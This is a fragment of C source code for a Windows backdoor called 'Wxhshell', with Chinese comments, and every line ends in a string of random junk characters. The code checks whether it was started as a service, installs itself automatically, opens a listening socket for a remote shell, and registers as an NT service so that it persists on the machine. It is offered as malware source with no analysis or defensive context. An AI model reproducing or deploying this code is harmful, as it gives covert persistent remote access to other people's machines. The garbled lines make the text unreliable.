} PROCESS_BASIC_INFORMATION; dXvt6kF
yOXO)u1n
PROCNTQSIP NtQueryInformationProcess; haSM=;uPM
!R{R??
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w:=V@-S8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JMV50 y
+JdZPb
HANDLE hProcess; c-]fKj7
PROCESS_BASIC_INFORMATION pbi; oY9FK{
[IX+M#mf
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .QWhK|(.!
if(NULL == hInst ) return 0; &V=7D# L
-$8.3\6h
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3fS}:!sQ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %|Qw9sbd
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B&KL2&Z~Pq
}7/e8 O2
if (!NtQueryInformationProcess) return 0; f[~1<;|-
A*]$v
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .J.vC1 4gi
if(!hProcess) return 0; x"B'zP
b Y8GA
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zQ)+/e(8
}uO5q42
CloseHandle(hProcess); +&v\
/
`iixq9xi
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |"7Pv
skT
if(hProcess==NULL) return 0; {[OwMk
'x%x'9OP
HMODULE hMod; :[7lTp
char procName[255]; D!3{gV#
unsigned long cbNeeded; yXfMzG
KX+ey8@[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?-~I<f]_
QApyP CH
CloseHandle(hProcess); T_hV%
\_ow9vU
if(strstr(procName,"services")) return 1; // 以服务启动 D(XqyN-P
H'Qo\L4H
return 0; // 注册表启动 Z6s5M{mE
} ?l6jG
AlX3Wv}
// 主模块 y?:dE.5p|
int StartWxhshell(LPSTR lpCmdLine) X>,A
{ sBW3{uK
SOCKET wsl; o0Gx%99'
BOOL val=TRUE; s-D?)
int port=0; zG%
|0
struct sockaddr_in door; :t$A8+A+0
&=w|vB)(p
if(wscfg.ws_autoins) Install(); ;h=S7M9.
sBjXE>_#)
port=atoi(lpCmdLine); I,P!@
zixEMi[8
if(port<=0) port=wscfg.ws_port; dr]&kqm
Q1V2pP+=@
WSADATA data; 7'.s7&
'7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [b1hC ~I;
}~zO+Wf2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; xs1bxJ_R
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y mDn+VIg
door.sin_family = AF_INET; Vyt
E
door.sin_addr.s_addr = inet_addr("127.0.0.1"); FdxsUDL
door.sin_port = htons(port); vInFo.e[4
Oxa5Kfpa
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TzF0/T!
closesocket(wsl); ]
09y y
return 1; =J3`@9;
} ~CFMIQ et
(j N]OE^
if(listen(wsl,2) == INVALID_SOCKET) { 7^wE$7hS
closesocket(wsl); 4A o{M
return 1; 9[{sEg=C$e
} s`vSt*
]K
Wxhshell(wsl); ZKQo#!}
WSACleanup(); f\'G`4e
<9N4"d!A
return 0; *`.LA@bHU
1ypjyu
} s01$fFJgO
1^sb T[%R
// 以NT服务方式启动 d+1x*`U|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .+uVgSN
{ D(@SnI+
DWORD status = 0; B$`d&7I;D
DWORD specificError = 0xfffffff; 24O
d] f
)<Ob
serviceStatus.dwServiceType = SERVICE_WIN32; d'q&Lq
serviceStatus.dwCurrentState = SERVICE_START_PENDING; (zEYpTp
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j]Ua\|t
serviceStatus.dwWin32ExitCode = 0; Q'C4pn@
serviceStatus.dwServiceSpecificExitCode = 0; vVdxi9yk
serviceStatus.dwCheckPoint = 0; o{g@Nk'f
serviceStatus.dwWaitHint = 0; b<\G I7
x3_,nl
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9Q=>MOB-
if (hServiceStatusHandle==0) return; D/*vj|
vhX-Qk t}
status = GetLastError(); `U!(cDY
if (status!=NO_ERROR) d(\ 1 }l
{ P 4H*jy@?
serviceStatus.dwCurrentState = SERVICE_STOPPED; NC;T( @
serviceStatus.dwCheckPoint = 0; Z{
%Uw;d
serviceStatus.dwWaitHint = 0; sI4QI\*4
serviceStatus.dwWin32ExitCode = status; 03] r*\
serviceStatus.dwServiceSpecificExitCode = specificError; Ipg\9*c`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R rxRa[{Z
return; '&/(oJ;O~
} vg5E/+4gp%
Lq%[A*`^
serviceStatus.dwCurrentState = SERVICE_RUNNING; svF*@(-P#
serviceStatus.dwCheckPoint = 0; g8Ok ^
serviceStatus.dwWaitHint = 0; j#CuR7m
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D.
77WjwQ
} E=A/4p6\$
1XQ87~
// 处理NT服务事件,比如:启动、停止 i4 P$wlO
VOID WINAPI NTServiceHandler(DWORD fdwControl) FU^Y{sbDg
{ DCz\TwzU
switch(fdwControl) h=:*7>}
{ 7jhl0
case SERVICE_CONTROL_STOP: h)"'YzCt
serviceStatus.dwWin32ExitCode = 0; Wn b)*pPP
serviceStatus.dwCurrentState = SERVICE_STOPPED; _Wq7U1v`
serviceStatus.dwCheckPoint = 0; UnJi& ~O
serviceStatus.dwWaitHint = 0; >>/nuWdpO
{ M_yZR^;^-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >qr=l,Hi
} KwY`<t1lA;
return; y>?k<